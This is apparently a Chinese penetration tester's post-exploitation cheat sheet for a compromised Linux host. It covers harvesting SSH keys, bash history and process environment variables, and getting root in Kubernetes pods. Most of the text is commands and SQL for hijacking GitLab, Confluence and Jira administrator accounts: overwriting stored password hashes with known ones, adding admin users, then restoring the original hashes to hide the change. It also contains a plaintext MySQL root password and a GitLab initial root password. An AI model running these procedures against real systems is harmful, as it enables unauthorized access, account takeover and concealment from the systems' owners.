一些渗透后利用小结
内网主机信息收集
在项目中有遇到拿到shell的情况下，看到主机名是gitlab或者是什么gitserver，通常都有k8s或者docker服务，先判断是本机启动的服务还是容器里面启动的服务，然后再到对应的地方找配置文件和数据库之类的，然后可以到应用内去找有价值的东西
可以看～/.ssh/底下的文件，有没有id_rsa，或者是看known_hosts曾经连接过一些什么机器，再看看/etc/hosts有没有给其他机器添加了解析，还有各种历史记录和配置文件也值得留意
~/.ssh/
~/.bash_history
/etc/hosts
ss -tl[n] #加-n参数不显示服务名，纯端口号
netstat -anp
ps -auxf / ps -ef 看进程启动命令
cat /proc/pid/environ 进程启动环境变量
cat /proc/pid/cmdline 进程启动命令
ls -al /proc/pid/exe 进程可执行文件符号连接
ls -al /proc/pid/fd 进程打开的文件（file descriptor）
K8S
当你在master节点，k8s也可以像docker一样exec
kubectl get pods #查看所有正在运行的pod
NAME READY STATUS RESTARTS AGE
nginx-56b8c64cb4-t97vb 1/1 Running 3 1d
kubectl exec -it nginx-56b8c64cb4-t97vb -- /bin/bash #假如当前pod只有一个容器,运行以下命令即可
<3>假如一个pod里有多个容器,用--container or -c 参数。例如:假如这里有个Pod名为my-pod,这个Pod有两个容器,分别名为main-app 和 helper-app,下面的命令将打开到main-app的shell的容器里。
kubectl exec -it my-pod --container main-app -- /bin/bash
但是很多时候exec进去都不是root账户，这个时候我们需要找到实际启动容器的机器去
# 先找到pod的名称
kubectl get pods # 获取容器
kubectl get pods xxxx-xxx-001 # 查看容器信息
kubectl get pods [-n] xxxx-xxx-001 -o wide # 定位节点机器，输入-n会报错
# ssh到pod所在的节点
ssh k8s-node2 # ssh连接
docker ps -a | grep xxxx-xxx-001 # 查看docker容器
docker exec -it -u root [CONTAINER_ID] /bin/bash # exec进入容器
GitLab
代码仓库，看有没有重要系统的源码打包弄出来做代审
初始密码
Gitlab 14安装初始化后，默认账户名是root,密码存放在配置文件
/etc/gitlab/initial_root_password
这个文件将在首次执行reconfigure后24小时自动删除，文件内容：
[root@gitlab ~]# cat /etc/gitlab/initial_root_password
# WARNING: This value is valid only in the following conditions
# 1. If provided manually (either via `GITLAB_ROOT_PASSWORD` environment variable or via `gitlab_rails['initial_root_password']` setting in `gitlab.rb`, it was provided before database was seeded for the first time (usually, the first reconfigure run).
# 2. Password hasn't been changed manually, either via UI or via command line.
#
# If the password shown here doesn't work, you must reset the admin password following https://docs.gitlab.com/ee/security/reset_user_password.html#reset-your-root-password.
Password: NdaWiHzufnlWDshXY+xI52q4Br0x2O+mAsTeU6V1694=
# NOTE: This file will be automatically deleted in the first reconfigure run after 24 hours.
修改管理员密码
默认数据库应用是PostgreSQL，数据库是gitlabhq_production，表是users，管理员默认的id是1，用户名是root
通常docker拉起的gitlab都会有gitlab-rails，gitlab-psql一系列的应用
不考虑改回密码的情况
gitlab-rails console
user = User.find(1)
new_password = 'Aa12345678!'
user.password = new_password
user.password_confirmation = new_password
user.save!
user.attributes
得到Aa12345678!密文就是这个，后面能用到
"encrypted_password"=>"$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G"
考虑改回密码的情况
设置新密码为Aa12345678!，记得先查询一次保存旧密码的密文
gitlab-psql
\l
\c gitlabhq_production
select id,encrypted_password,name,username,admin from users where id=1;
-- 这一步是将密码更新为Aa12345678!
update users set encrypted_password='$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G' where id=1;
-- 这一步是恢复旧密码的密文
update users set encrypted_password='$2a$************************************vyy' where id=1;
Confluence
知识库系统，可以看有没有信息泄漏之类的东西
https://www.jianshu.com/p/7cc8ea59578a
默认配置文件位置：Linux：
/var/atlassian/application/data/confluence/confluence.cfg.xml
Windows：
C:/Atlassian/Application/Data/Confluence/confluence.cfg.xml
数据库操作
mysql -uroot -pRadBank@530
show databases;
use confluence;
select id,user_name,active,email_address,credential from cwd_user;
-- 在数据库里面查看管理员用户
select u.id, u.user_name, u.active from cwd_user u
join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id
where g.group_name = 'confluence-administrators' and d.directory_name='Confluence Internal Directory';
-- 记得存一下原始密码
-- {PKCS5S2}xPqJ5enH/NPJfOyO2vUiQgoF0pRLl9R+HwxWC9zG3OjOXJbapmEl0+bEz/MelyLJ
-- 原始密码明文是123456
-- 无{PKCS5S2}的，更改密码为sphere
update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';
-- 有{PKCS5S2}的，更改密码为123456
update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';
-- 密码是{PKCS5S2}前缀开头的，则用下面这个sql，这个管理员密码为 Ab123456
update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;
用已知的密文进行替换
将管理员用户的密码修改为目前已知的明文密码的密文（不能直接在数据库中添加字段，否则在单个表中添加字段可能会出现问题）。
修改密码后，登陆后台，添加用户并将其加入管理员组。
最后，将管理员密码还原回去。
更改密码
登录后台——>用户管理——>添加用户——>加管理员组——>还原admin密码
参考文章：confluence后利用
Jira
项目与事务跟踪工具，经常和confluence一起出现
mysql -uroot -pRadBank@530
show databases;
-- Jira数据库中，用户信息都存放在表 cwd_user中
-- 切换到jiar数据库
-- CREDENTIAL字段是加密后的密码
use jiradb;
-- 看看管理员用户信息，待会会用到
select id,user_name,active,email_address,credential from cwd_user;
-- 记得保存原始密码，信息收集完成之后改回
-- {PKCS5S2}dVBfve2TpngECXqQfQJJlnnfC9WwDB25vCaXlxvSy67m/Tv6NVNi29ON0PX5vvf0
-- 这个密码的明文也是123456
-- 无{PKCS5S2}的，更改密码为sphere
update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';
-- 有{PKCS5S2}的，更改密码为123456
update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';
-- 有{PKCS5S2}的，更改密码为Ab123456
update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;
-- 最后记得复原密码
update cwd_user set credential='初始密码' where user_name='XXXX';
